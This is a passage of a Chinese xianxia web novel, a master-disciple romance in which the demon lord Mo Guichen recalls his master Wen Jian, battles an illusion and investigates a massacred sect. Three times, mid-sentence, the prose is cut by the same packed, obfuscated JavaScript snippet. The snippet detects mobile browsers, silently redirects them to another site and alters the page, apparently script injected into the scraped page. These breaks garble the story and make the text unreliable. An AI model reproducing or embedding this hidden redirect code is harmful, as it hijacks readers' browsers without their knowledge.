大殿之中,曾经潇洒风流的俊朗青年,被毒物蚕食得面目全非,却因有丹药吊着,骨肉不消片刻又慢慢滋长。 便是这幅半肉半骨模样。 痛不欲生,又死不去。 陌归尘面无表情走上宝座,低垂视线看人。 那人也似感知到来者气息,猛地挣扎一下,骨架摇摇欲坠。 他眼珠翻出血水,气若游丝,说着恶毒的话:“闻青栀,你怎么还不死?” 陌归尘盯着人瞅了几息,便是粗鲁掐起那人下巴,喂进颗极品天阶丹药。 他道:“如你所愿,快了。” 丹药入口即化,右护法心中大骇,慌乱喘息,艰难扯出抹冷笑:“又想如何折磨我?” “你好歹毒……” 陌归尘没回这话,只是随手招来两个婢女:“送回去。” 婢女默契相视一眼,瞬间揣摩出尊主动了恻隐之心,毕竟她们的魔尊大人用的是“送”字。 也是,到底是相识于微的情分,更是在血雨腥风中一路扶持过来的,怎么会赶尽杀绝呢。 她们的魔尊大人,看似无情,实则最是难得深情。 思索间,二人恭恭敬敬扶起晕厥的右护法,送往护法殿。 见人离去。 陌归尘也没再逗留,转身出了宫殿,又隐进热闹的城中。 城中街角。 红衣青年正坐在个卖鸡汤小馄饨的摊位上。 老板热情吆喝,不一会儿,摊位再次走来对爷孙,爷孙二人捉襟见肘,只点了一碗小馄饨面,推来让去的。 “爷爷,我不饿。” “爷爷饱着呢,乖,你吃。” 几个来回推脱不下,孩子唯有吃了一口,才道:“我人小胃口也小,我吃好了,剩下的都给爷爷。” 余光纳进那画面,陌归尘恍惚怔然,真是有点似曾相识。 幼年,闻笺带他游历,店家上了两碗当地的特色糖水。 师尊把大的那碗放到小徒弟跟前,小徒弟没安然接受,分明馋得垂涎欲滴,却还是忍痛割爱,转手把两个碗交换。 师尊问:“小肚子吃不下?” 几岁的小徒弟摇头:“因为我是小肚子,所以吃小碗,师尊是大肚子,要吃大碗。” 师尊被小徒弟逗乐。 哄着小徒弟把小碗喝干净,方把大碗里未动的糖水倒进小碗,笑道:“来,小肚子,继续吃你的小碗。” …… 陌归尘敛神,从袖口拿出枚丹药,朝摊主招手,眼神示意道:“给他们多上一碗。” 魔界素来以灵石交易,但老板是识货之人,光看那枚丹的丹纹便知乃极品,更别提这藏不住的丹香,简直闻得人神清气爽的,怕是能抵不少灵石。 他赶忙谄媚讨好:“公子可还有其他吩咐?” 陌归尘倦倦摆手:“不必提及我,是店里搞活动送的。”说罢,起身离去。 他也不知自己要去哪,便是这样漫无目的游走。 巷子暗处,忽而传来点微弱哭声,走近一看,原是有个妖族小孩觉醒本体被吓坏了,正躲在角落抽泣。 这幕,登时将陌归尘拉回多年前的落霞峰。 落霞峰,后山。 巨大的石块后,正有名小孩子,孤零零躲在石后,不敢见人,还低低啜泣着。 寂静的小道,慢慢响起细碎的脚步声,沙沙簌簌的。 小孩子惶恐得登时捂住嘴巴,咬紧牙关,瞪圆了眼,也不敢吭出半点儿声响。 脚步声停下。 隔着石块,有人说话,嗓音凉淡,调子却缓和:“怎么,这是在玩躲猫猫?” 没得到回应,那人又开口,这次却像是个无奈的逗笑:“看来这落霞峰真该打扫打扫才是。” “石头都长出猫了。” 躲在石后的小孩子闻言,僵着身子愣愣,悄悄挪了挪,正好掉出半截没夹紧的猫尾。 咚一声,山下铜钟敲响。 浅淡笑声淹没在回荡的铜钟声里:“让为师看看,是谁的小尾巴露出来了。” 露出石块的尾巴倏地缩回去。 随后,窸窸窣窣探出小半个脑袋,圆溜溜的异瞳含着泪,几乎是全妖模样的小团子,鼻头粉嫩湿濡,似沾着片染有晨露的花瓣。 小猫怯怯懦懦看人。 站在石块之外的那名男子,素衣清颜,立在万丈霞光里,恍若天人。 如今的陌归尘当然知晓,闻笺此人外表孤傲清冷,骨子里却温柔得紧,像极雪落枝头,唯有掉进掌心,感受其化开的温度,方能品鉴出个中魅力。 年幼的自己虽是不懂。 却也真真切切经历着。 小团子缩缩脖子,嗓音还带着哭后的哑涩,翁声翁气的:“我……我长毛毛了,我是妖怪。” 师尊来到小徒弟跟前,单膝蹲下:“你不是。” “你只是有了小秘密。” “可是好丑。” 见小徒弟抽着鼻子,收不住泪水,师尊抬起手掌,盛住徒弟的泪珠:“把小爪子伸出来。” 小徒弟磨磨蹭蹭伸爪。 猫爪被一只宽大的手掌接住,那人素净的指尖揉揉爪背,旋出个小毛洞,倒下泪珠。 师尊淡笑:“多漂亮的小湖,只有你的小秘密能做到。” 水珠落在猫毛,小漩涡似的,晶莹剔透,确实招人欢喜,小徒弟噎了哭音,眨眨眼问:“只有我吗?” 师尊笑答:“当然。” “我这么厉害的吗?” “当然。” …… 陌归尘思绪回笼,眸光重新聚焦时,还是情难自禁凝滞了一下。 他环顾四下,明明没有那人,可目光所及,却无一不是那人,陌归尘闷闷灌进口酒,鬼使神差走进巷子,单膝蹲在小乌鸦身前。 嗓音被酒水浸泡得微哑:“不丑。” 旁边的屋堂亮起盏灯,烛火照亮这一隅。 他掂起小乌鸦的翅膀,轻轻扯到烛光下,乌黑的羽翼霎时流转出微弱彩光。 屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375714|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内潺潺洗菜声响起,淹没了陌归尘的话:“很漂亮。” * 小乌鸦已经飞走。 陌归尘还杵在原地,似有些失神,讷讷的。 片刻后,随意往旁边的烂竹椅一靠,便是支起一条腿,手肘撑着膝盖,借酒消愁起来。 微醺的青年,有些懊悔最后一面也没那胆量挑明心意。 再一次,酒落腹中,他又自顾自摇头失笑。 其实他又何其庆幸自己的懦弱,从未敢将那龌龊心思宣之于口,便让那暗潮涌动的爱慕,在情难自禁后,也能有暂时歇脚的依托。 哪怕他扑进闻笺怀里。 都是理所当然的,毕竟那是师父,顶多只会迎来一句无奈的“没规没矩”。 即便是掌门华云舟那老迂腐来了,也只能暴跳如雷,指责一句:“你就惯着他吧!” 徒弟黏人,师父宠溺,名正言顺。 酒劲儿上头。 陌归尘思绪越发混乱。 他又想起万鬼窟到青云梯的那段日子。 闻笺总说往前看,别回头。 为何别回头呢?那时他只道是“历劫”禁忌,一旦回头,便失败,甚至滞留在那不得超生。 如今再品,那更像是种告别与祝福。 告别过去。 祝福将来。 师尊为他逆天改命,希望他往后的路越走越好,可他,还是一不小心,走了岔路。 走到了师尊的对立面。 有时候,真的不得不认命,此刻,他也算尝到了成长的滋味,无非是一句,万般皆是命,半点不由人。 “殿下真是大爱无疆。” 忽而一声起,陌归尘酒醒两分,巷口不知何时立着道身影,正悠悠看来。 “对一位陌生小妖尚且如此温柔,怎么偏偏到我这,便无情冷漠,叫人好生伤心。” 陌归尘冷觑二竹弋,单手拂下衣摆,走出巷子:“有事说事。” 二竹弋追上人:“若无事呢?” “滚。” 溶瀛月色下。 玄袍金冠男子悠悠轻笑:“我这不是担心殿下受伤么?” 陌归尘狐疑皱眉。 那人便已解惑:“殿下威武,竟能以一己之力重伤神兽重明,但毕竟是神兽,我很是担心殿下的身子呢。” “你说什么?” 二竹弋惊讶反问:“哦,殿下不清楚么?仙门百花会,各派疏于防备,你放出的恶灵,短短一日,已经连毁两个宗门根基,趁着各大掌门赴百花会,将计就计,瞒天过海,调虎离山,暗度陈仓,声东击西,借刀杀人,当真是精彩绝伦,妙不可言呐!” “还未到大战,便如此挫仙门锐气,不愧是我英明神武的魔尊殿下!” “不过可惜,仙门似乎生擒住其中一只恶灵,”二竹弋面露担忧,摩挲下巴。 问:“殿下可有露真容?” 话未完。 原地扬起阵清风,红衣青年也消失得无影无踪。 * 玉虚灵泉仙山。 “重明前辈!” “前辈!” 红影落下,急切呼唤,奈何无论他怎么呼喊,这偌大的入口,愣是无人回应。 且他还敏锐捕捉到,此处确残留有恶灵气息,和十年前的很是相似,却又比十年前那些恶灵强悍百倍。 陌归尘神情凝重,面露焦色,便要硬闯。 却突然被十二道禁制击退。 强大的光波冲来,青年眼疾手快御起防护灵罩,险些抵挡不住,趔趄后退几步。 直撞进另一人的胸膛。 寒鸦忽而鸣啼,阴风四起,树影幢幢,山下破旧的老寺庙传出沉重的铜钟声。 阴森而压抑。 陌归尘脊背微绷,骇然转身退开,两步之外,一道素白身影,衣袂飘摇,立于血月之下。 惨淡的红光打落那张脸。 清晰映着来人容颜。 正是……闻笺。 他微讶道:“师尊?” 28. 闻笺哥哥, 28. 子时时分,阴阳交替,乌云翻滚,遮挡半片血月。 陌归尘神色淡淡走向那人。 “师尊怎么来了?” 月下人影伸手,似在待对方牵上:“带你回家。” “是么?” 陌归尘已来到虚影身前,微微仰头,笑得无害又蛊人,藏在袖中的掌悄悄化出浓稠的煞气。 “装得还挺像。” 凌厉的煞气化作利刃,以迅雷不及掩耳之势,毫不留情轰去眼前人。 嘭—— 陌归尘的手,并未落到实处,直愣愣穿过闻笺躯体,掌心的攻击全数炸在远处山头。 十二座山,霎时沦为齑粉。 雪影化作黑雾消散。 只有一句调笑真切落进耳中:“啧,吾的小殿下,怎么回回下手都这么狠呢。” “这是弑师弑惯了么?” 黑雾未再聚形,烟云似的,覆盖陌归尘肩背,顺着徒弟清薄的背攀爬而上,慢悠悠绕过雪颈,停在耳垂。 “真是大逆不道呀。” “滚!” 陌归尘回手又是一掌,煞气如拳击棉花,打落黑雾,丝毫不起作用。 “呵。”黑雾包裹煞气,吞噬干净后,轻笑,“吾的好徒儿真乖,为师确实饿了,再来点。” “无耻宵小!” 陌归尘心中恶寒,提起体内另一套修炼体系内的灵气。 他双手结印,手掌一翻,拢出个灵气骇人的雷电光华,带着滔天的怒气,直劈那团黑雾。 轰! 刹那,林中罡风骤起。 余灰落尽之际。 万物归于平静。 叶影纷乱落地,唯有那道红影,衣袂飘摇立于原地,满头银发,未沾半点烟尘。 与此同时,天际乌云退却,血色撕开墨染般的夜,殷红如潮水,诡异泄下,顿时淹没这片大地。 陌归尘暗道不妙,抬眸,天幕上,完完全全露出的…… 是一轮圆月。 月圆之夜,如期而至。 他心下骇然,连忙双手交叉,飞速结印布阵,仍抵不住那股越发控制不住的失控感。 “额。” 银发青年强撑意识跪地。 病白的额角洇出细汗,汇聚成珠,划过脸颊,挂在下颔,终是滴落冷白的掌背,在那乍现的青筋上化开。 纵然如此,陌归尘依旧脊背挺拔,未有丝毫狼狈。 混沌中,眼底再次多出双白靴,干净得不染尘埃,叫人情难自禁地,五指狠戾抓进地面,任血水染红黄土。 痛感四面八方裹挟而来。 眼前的幻觉还在。 雪白人影蹲下,划破指尖,轻轻按在陌归尘的唇。 腥甜涌进呼吸。 陌归尘舌尖探出,扫刮唇边的指腹,尝到血味,青年亢奋耸动了一下唇瓣。 轻轻张嘴,含进去。 一点一点吮吸。 模糊中,似有谁的指腹落在他眼尾,冰冰凉凉的,从眼尾而下,抚过脸颊,滑落长颈,最终停在领口。 体内的蔷薇花也似感应到召唤,倏然扑上来,亲昵舔舐上那根停在衣领的指。 娇羞妩媚摇曳着枝叶。 不知多久后,陌归尘感觉好像有什么东西在爬。 他吃力睁眸,只艰难掀起一点眼缝。 眼前,空无他人。 余光中,宽大袖内,似有黑色藤蔓缠绕他手臂。 大抵是发现他的目光,那藤蔓也长了眼睛似的,倏地腾到半空,深深凝望他。 半晌后,拇指粗的顶端弯下头颅,螺旋似的钻回掌心,强行撑开他的指缝。 一圈又一圈旋转而上。 像蟒蛇在捕捉猎物,最后,摩挲着吻上他的指尖。 这幻觉,真是越发离谱。 他奋力要甩开,却怎么也摆脱不掉这份酥酥麻麻的诡异感觉,直教人大汗淋漓。 如赴巫山.云雨。 半晌后。 下巴被不知是谁的双指掂着。 那手指冷若冰霜,冻得骇人,将他托起,陌归尘微微昂首,仰望着道残影。 残影亦垂眸看来,只有一双眸子是清晰的,清晰地布满着惊人的欲望。 是魔宫里无数个滂沱的雨夜,出现在幻觉里的人。 “师……尊?” “嗯。” 粘稠腥甜的流体,随之汩汩漫来,渗进肌肤,再密密麻麻地淌到骨头缝里,骨血相融。 林间,一片叶子掉下。 顷刻,所有的触碰消散,陌归尘往后倒的瞬间,被团绵软的云朵接住,暖融融的。 耳畔声音浮浮沉沉,不太真切,似乎有道破空的剑声,随后便是熟悉的话音。 “杀了我,” “他也别想活。” “而且,你没有血。” “但我有。” 侧躺在云朵里,陌归尘眸子噙着层潋滟的光,本该是脆弱病态,偏生眼尾微扬之中,又勾出种别样的风情。 正迷离地望天。 头脑昏胀,意识迷糊,能听到有人在说话,可说的是什么,又似乎理不懂。 那人说:“这么漂亮的眸子,哭起来会更美吧,你不想欣赏么?我知你想。” “因为我已按捺不住要——” 嗡一声。 尖锐的争鸣划破长空。 万籁俱寂。 * 翌日,万里晴空。 陌归尘半个身子泡在暖融日光,慢悠悠醒来。 也才惊觉自己坐在方洁净的石阶上,半个身子趴在闻笺大腿。 这幕,格外像幼时,和师尊游历大江南北,偶尔坐马车午休时分,他便如此躺在师尊腿,听师尊给他念诗书。 听着听着便熟睡。 那时,他总觉日子漫长。 如今回想,真是不识好歹。 陌归尘五指蜷着动了一下,所以自己这是在师尊腿上睡着了?可是闻笺怎么会在此? 他倏地腾起身。 头顶落下点话音:“醒了?” 闻笺指尖轻拂徒弟皱褶的衣摆,皱巴巴的红衫顿时妥帖起来,见状,方起身:“不知你想去哪,索性便在此守着你。” “重明前辈他——” “无性命之忧,只是沉睡养伤去了。” 似发现徒弟的忧虑,闻笺又宽慰道,“这加固的十二道禁制乃神兽本命秘术,放眼三界,能闯之人屈指可数。” “我那天只是——” “为师知道,那几只出逃的恶灵,与你无关。”闻笺语毕,便是下山,陌归尘也不假思索跟着走下台阶。 石阶不长,很快便是尽头。 尽头有两条截然相反的山路,陌归尘只与闻笺一左一右并排走着,他预想中的该是,闻笺迈向哪一边,他便往另一个方向下山。 大路朝天,各走一边。 事实却是。 师徒二人竟默契十足同时停在分岔路口。 “……” 陌归尘挑了挑眉,竟难得抬手示意着:“师尊请先。” 闻笺:“习惯了看你走。” 二人便是如此,僵持不下。 最后,陌归尘提议着:“那就默念三下,一起走吧。” “嗯。” 修仙届向来以左为尊,心中默念三下后,陌归尘不假思索往右迈出脚步,同一瞬落下的,还有另一抹白色衣摆。 闻笺,走的也是右边。 师徒两人蓦然对视,是片默契又诡异的平和。 彼此什么也没说,便是各怀心思结伴下了山。 山下,郊外。 终是闻笺打破二人间流淌的沉默:“想如何回去?” 陌归尘目视前方镇子:“徒步吧。” 明明有千万种快速回去的法子,陌归尘也不知自己为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375715|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会选出最耗时的那种。 二人样貌皆作了遮掩,结伴走进镇子,倒没怎么引人注目。 小走一段路后。 陌归尘忽地停在间玉饰铺子门前。 闻笺垂视徒弟:“看看?” 陌归尘惯性使然,没与闻笺客气,抬脚便走了进去。 店内立马迎来人:“二位贵客请,挑些什么呢?可有中意的款式?送人还是自用?” 陌归尘应道:“送人。” 在二人进来之时,掌柜的已放下珠算盘,实在是此二人气度不凡,衣着看似低调,实际品质极佳,怕是大户人家的公子。 真真是贵客呢。 他察言观色了片刻。 乍看之下,红衣公子洒脱不羁,口不择言,但对那位清冷雅淡的白衣公子还是隐有敬意,二人身上还流转着丝一脉相传的气质。 且观那白衣公子似乎比红衣公子年长些许,但容貌又极为年轻,估摸着,这白衣公子八成是那位红衣青年的兄长。 如此再品,这位红衣公子,确实十分像被兄长宠坏的骄矜弟弟。 想了想,掌柜的直接请出镇店之宝:“公子若是瞧不上这些,倒是可以瞧瞧我们的镇店之宝,保管令兄满意。” “兄?” 掌柜的轻笑恭维:“是呀,这位俊朗不凡的公子,可不就是您家哥哥么?” “您二位可真是兄友弟恭,羡煞旁人。” 哥哥? 陌归尘默念一声,他和闻笺都不知差了多少辈,可真是让老男人占便宜了。 也罢,占便占呗。 今日是兄弟,来日说不定就是夫夫。 陌归尘侧眸看闻笺,那人不知是没细听还是怎么,竟难得没反驳一句辈分乱套了。 须臾间,陌归尘玩心大起。 他思索片刻,使坏一笑,眼神定在闻笺身,言语却顺着掌柜的话问,“那这位大叔,依你之见,我家哥哥的气质能否压得住你们都镇店之宝?” 哐—— 巨大的声音,引来好几双目光,原是闻笺手肘旁的木匣子,被碰掉。 “哎哟!” 陌归尘几步之外,伺候闻笺的小二痛心疾首,但也只能抿笑沉默,弯身去捡摔碎的木匣。 毕竟二人相貌虽平平,但那周遭的气度着实不凡,若是一时失言,得罪哪家的贵人可就得不偿失了。 陌归尘眸光轻转,眉梢微挑,斜斜瞄了眼闻笺,给掌柜的塞去袋银子作赔偿。 慢悠悠来到闻笺身侧,装若惊讶,指尖捂唇:“哥哥怎么这般不小心?” “胡闹什么。”闻笺脸色微沉,拉起这又开始不着调的徒弟,快步走出玉器铺。 陌归尘被拽着离开,非但无丝毫狼狈,反倒好整以暇朝掌柜的招招手,调子散漫没个正经,“抱歉呀,我家哥哥气性大,给您添麻烦了。” 话未完,闻笺拽他的力度又蓦地加重两分,走得更快了。 若非是怕吓到凡人,陌归尘想他家师尊大抵恨不得瞬间转移,带他离开是非之地。 热闹喧嚣的长街。 众人只瞧见位白衣公子,脸色沉沉拉着名红衣青年,反观那红衣青年,还嬉皮笑脸,跟没事人似的。 又或者是……乐在其中? 被闻笺拖拽一路,陌归尘也不恼,盯着自家师尊那骨节分明的手,玩世不恭问:“闻笺哥哥你还要拉我到何时?” 话毕。 前方人倏然放缓步伐。 陌归尘来不及刹脚,当然,更多的是懒得停下,任由自己直愣愣撞向闻笺肩背。 撞上的瞬间,闻笺也松开握紧他手腕的掌。 陌归尘半个身子还贴着自家师尊,这微仰头的姿势,让视线恰恰对着闻笺脖子。 一时之间叫人看得怔怔。 但见他家师尊耳垂下的脖子,竟破天荒地红了一小片。 陌归尘指尖戳上去:“闻笺哥哥,你这里好烫呀。” 29. 闻笺掂起他下巴, 29. 两人腹背轻挨。 陌归尘的食指点在闻笺后颈,还未来得及细品。 纯白的灵线,倏然飞出,一把圈住他的手腕。 把他手臂吊悬半空。 闻笺退开半步,转身望过来,轻斥:“没大没小。” “叫师尊。” “……” 余光瞟向被灵线悬绑着的半截手腕,陌归尘笑得银发耸动:“第一天认识我吗?” “掌门师伯哪次去落霞峰,不是对我好一顿兴师问罪?” 陌归尘扯断灵线,捻起指,煞有其事数道:“行为乖张、性情古怪、仗师欺人、罔顾尊卑、目无师长、大逆不道……” 青年双手一摊,漫不经心耸肩:“罄竹难书哟,根本数不完。” 闻笺没说话。 沉默横亘。 陌归尘也不介意,只注视自家师尊,前所未有般感慨万分:“闻笺,现在才来和我说边界感,会不会太迟了?” 他徘徊在戳破窗户纸的边缘,说着宛若试探的话语:“其实有时我会想,倘若我们不是师徒该多好。” 终于,那人眼帘半垂,转过头来,看他,道:“没有倘若。” 陌归尘轻笑:“也是,倘若不是师徒,我怕是连认识你的机会都没,更不可能被师尊惯得这么——” 他别开眸光,眺望远方山脉,喃喃自吟。 似是个自我谴责的嘲弄:“这么……大逆不道。” 也似是个迫于事实如此,不得已之下的万幸:“其实没有倘若也挺好。” “别美化自己没走过的路。” 闻笺淡淡看来,最终伸手搭上他肩膀,语重心长:“你我师徒一场,日后注意分寸。” 陌归尘慢悠悠拉回神思,强调懒洋洋的:“哦,你也知咱们是师徒呀?” 青年眉眼蔫下,幽怨道:“弟子脚疼,走不动道儿,靠一下师尊怎么了?” 闻笺略感欣慰,默默纵容着陌归尘的无理取闹,毕竟徒弟平日里总孤僻冷傲,这刻难得敛起浑身的刺,耍耍泼皮无赖,软声软气撒娇。 起码是鲜活回些许了。 他低叹:“娇气。” 听着闻笺无奈的数落,陌归尘将自己囿固在师徒身份下,堂而皇之地拽上闻笺衣袖,顺势倚进自家师尊怀。 他嗅着闻笺身上的栀子花香:“从前天寒地冻时,师尊还抱着我睡呢。” 而后小扯那人袖子,声音细若蚊呐,近乎耳语般暧昧:“现在腿疼,也抱一下嘛。” 也不待人回答,就这么顺理成章倚进那方胸膛。 却没感受到相贴的温度。 竟是闻笺悄然化出层灵力,虚虚地给二人隔开点间隙。 陌归尘不悦“啧”了声,刚欲抽空这层碍事的灵力,头顶忽而落下闻笺的话音:“为师有事问你,如实回答。” 陌归尘微昂首,恰恰对上闻笺垂下的眸光,那人素来恬淡的眉宇,竟难得肃穆凝重。 叫他看得心中一顿惊骇。 莫非是身份暴露了? 不该呀! 片刻后,陌归尘还是埋首自家师尊,如常散漫不着调,下巴枕着闻笺肩膀,温热的气息直直呼落闻笺肩窝:“问。” 话音刚落,陌归尘那环抱闻笺的手,意外感知到自家师尊的脊背……似乎紧绷了一下。 所以? 还是能撩一下的? 恍若发现惊天秘密,陌归尘内心窃喜不已,闻笺那双手已迅捷扶上他肩膀,将他扶离自己的怀抱,问:“告诉为师,你身子到底有何——” 轰隆—— 远方湖边一声巨响传来,打断闻笺后话,紧接着便是各种躁动惊叫声。 “妖……妖怪啊!” “啊啊啊救命!” 此镇子虽接壤好几个仙门门派管辖地,但毕竟皆是凡人,哪里见过这般大场面,登时吓得惊慌失措,四处乱窜。 …… 师徒二人被这惊扰,不约而同循声望去。 隔着片湖。 对面一位身着白色道袍的男子,浑身是血,趔趄掉下灵剑,扑倒跪地,整个人气若游丝。 身后追赶他的那团黑雾,刹那将其吞噬,电光石火间,化成利爪,从后背直掏道袍男子心口。 噗! 血肉飞溅当场之际,一只手掌,从背后捂住陌归尘的眼。 避免他直观这血腥的一幕。 掌心轻贴眼皮。 闻笺的手,薄而凉,又带着点湿冷的潮气,肌理虚浮,全然不像常人该有的触感。 但陌归尘没在意这细节,沉浸在自家师尊这下意识的举动,愣怔半晌。 他忽而挽唇,笑言:“师尊方才说我娇气,你看,到底是谁惯的?” 身后人沉默,却没松手。 陌归尘又笑眯眯道:“不就一点残忍的手法,对比我这十来年来捱过的日子,左不过是小巫见大巫。” 他抬手,反握上闻笺掌背:“落霞峰那个小徒弟已经不再需要躲在师尊的羽翼下。” 掰下闻笺的手,陌归尘侧头,目光虔诚又专注,望着对方铿锵有力启声:“现在,可以换我来保护师尊了。” 迎着徒弟炽热的眼神,闻笺错愕一怔,急匆匆抽回手:“先干正事。”说话间,指尖微动,化出灵丝圈住暴动的恶灵,以免其再度伤及无辜。 “……” 见人避而不谈,魔尊大人颇为失意,不情不愿走过去检查腐烂残骸,本欲摄取魂魄,提取记忆,方发觉这恶灵下的是死手,竟让人元神尽毁。 细细查看蛛丝马迹后,陌归尘回眸看闻笺,笃定开口:“是天一门,此人身上锦缎是松山特有,且有桂花味,如今并非桂花盛开时节,各门各派,只有天一门所在松山种满常年不落的桂花,这人骨龄至少百岁,灵力不浅,佩剑也是上佳,其中镶嵌的宝石出自东海,极其贵重,款式保守,非年轻人喜爱,怕至少是个长老级别的长者,竟如此狼狈。” 闻笺颔首:“想来天一门出事了。” 陌归尘没反驳,只转头,投视被捆恶灵,这恶灵长相实在难以恭维,五官狰狞,面目全非,连四肢亦是扭曲,攀爬在地,像只畸形蜘蛛,难怪吓得凡人屁滚尿流。 他上前几步,正在酝酿腹稿,打算好好盘问这只恶灵, 那恶灵也似望见他。 这对视的刹那,陌归尘却分明在那张五官乱飞的脸看到一抹别有深意的笑。 “你——” 话刚出口。 眼前忽而炸出阵黑雾,嘭一声,恶灵当着他面,自毁爆体。 神魂俱灭。 陌归尘快速结印,却也只能抓获到残留的半缕气息。 这恶灵竟无神元! 巧合还是人为? 如今唯一可确定的是,这恶灵,和十年前的那些恶灵,极为相似。 会有关联么? 陌归尘神色微凝,又如回到那夜,青年面色倏地发白,紧咬牙关僵滞在原地。 “怎么了?” 额头被轻碰一下,闻笺停在他身侧问,“这般凉?” 那人指尖顺势渡来点灵息,陌归尘浑身霎时流淌着股暖流。 他摇头:“没事。” “当务之急,该去一趟天一门。”陌归尘双指捏出个法诀,虚空投出这片大陆的地图,指向其中一个光点,“在附近。” * 天一门。 师徒二人赶到时,已经有其他门派的弟子赶来,无不骇然怔愣在原地,实在是……整座松山可怖至极。 尸横遍野,血流成河。 全宗门弟子,无一幸免,天一门掌门眼眶更是被插进刀片,死不瞑目,双眸泣血,跪地而死。 妥妥是桩灭门惨案。 简直是血洗松山,脚下三寸黄土,尽是红。 陌归尘越过几人,来到天一掌门身侧,拔出刀片,手掌覆上那人眼皮,却微顿一下,顺着其跪地方向看去,不偏不倚…… 这人所跪,竟是魔宫。 山下忽然传来更大的躁动,噪声如海潮,一波又一波涌来,吵得人头痛,陌归尘敛神,迅速替天一掌门阖上眼。 青年回头,山下,源源不断赶来其他门派的弟子。 估计是天一门请的救兵。 可惜。 为时已晚。 人影绰绰,陌归尘刚收回的眸光猛地凝滞,他不可置信重新望去,一眼锁定人群那抹背影。 那个身影…… 会是你么? 十三师兄。 可你,不该在十年前就身死魂灭么? 陌归尘唇角勾起抹嘲讽的笑,匆匆隐进人群,追上去,奈何人头攒动,那人眨眼功夫便已不见踪影。 疾步来到拐角。 青年差点撞上迎面而来的玄袍金冠男子。 他蹙眉避开:“哪都有你。” 来人爽朗一笑:“想来是我与殿下有缘?” “想死可以明说。” “呵,殿下风趣。” 二竹弋手里还拿着话本,见陌归尘看他,大大方方扬起手里话本,颇为烦恼摇头:“正打发时间呢,仙盟里的救讯铜钟忽地敲响,这当盟主的,自然得赶过来做做样子的。” 陌归尘默然。 果然,古往今来,风月话本总是得人心,连二竹弋这种斯文败类竟也会拿来打发时间。 估计也就他家师尊最正经。 同样是消遣,捧的却是各类史书理学。 陌归尘顿时恍然大悟,闻笺虽博通经史,却从不教授他那方面知识,八成是这老古板也没涉猎过房事技巧的典籍。 啧,难怪不解风情。 大抵是未尝过个中滋味。 许是见他沉默许久,对面人又问:“殿下也感兴趣?看看?” 陌归尘一眼扫去,这话本貌似是以邪神为蓝本写的话本。 被打扰与闻笺独处,陌归尘本就有些郁闷烦躁,自然对旁的事物兴致阑珊,他素来一目十行,便草草看到半页字: 邪神无心,故而从不动情,便得以无坚不摧,不伤不灭不老不死。 传闻邪神实体乃邪神分离出来的躯体,里面承载着不该有的情感,原以为能就此断舍离,奈何他的妄念还是再次在一个没有心的魂魄里生根发芽。 魂体每一次克制下的爱意,都会在那俱实体,以欲念的形式,迎来猛烈的反扑。 那是邪神爱意的具像化。 陌归尘冷嗤一声。 无稽之谈。 不过,这故事编得倒浪漫,想来杜撰书籍的该是个擅长风月话本的文人骚客。 二竹弋饶有兴致望人:“殿下笑什么,莫非你见过邪神?” 陌归尘掌心拢出煞气,煞气化剑,剑尖挑着二竹弋下巴,语气轻淡如聊家常:“再不滚,送你见死神。” “啧。”二竹弋双指夹住剑尖,掰开,剑刃擦过唇角,宛若轻吻,他微有餍足笑笑。 “殿下息怒。” 待人消失,陌归尘立马召唤出一名傀儡——魔界十二魔将。 低级傀儡术需用傀丝操控,中级可隐藏傀丝,而顶级傀儡术则脱离傀丝,只需在眉心处点进炼制者的血,顶级傀儡更是拥有自主意识,实力与炼制者能力息息相关,若非特地加以控制,其言行喜好也会深受炼制者影响,而与之日益相似。 他得闻笺真传。 这魔将便是他用顶级傀儡术炼制的十二名魔界死士之一,誓死效忠主人。 陌归尘画下先前那名疑似十三师兄男子腰饰上的花纹,交给魔将。 “查一下。” 魔将领命:“是。” * 仙门出了这么一档子大事,在场的人自然不好轻易离去,纷纷留在天一门帮忙善后安葬。 且这些仙门子弟多为枉死。 好好的仙门,怨气滔天,众人不得不留下超度亡魂。 陌归尘倚在树下,没参与超度,毕竟他一个魔修,给仙门弟子超度,那不是添乱么? 望着高台之上的闻笺,这场超度怕是一时半会儿停不下,困劲儿袭来,青年百无聊赖打着哈欠,最终回了魔宫,化成本体,窝成小团,懒洋洋躺在灵藕师尊腿上小憩。 日光照进竹屋。 那尊纹丝不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375716|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动的灵藕,眉睫无风自颤,缓缓睁眸,又慢悠悠垂下视线。 素净的指尖捏了捏腿上小猫的猫耳,而后点了点小猫粉嫩湿濡的鼻尖,又抚琴似的,扫过小猫的胡子。 最终,温实的掌搭落猫背,有一下没一下地轻抚。 寂静的竹屋落下含糊的笑。 他转手抱起小猫。 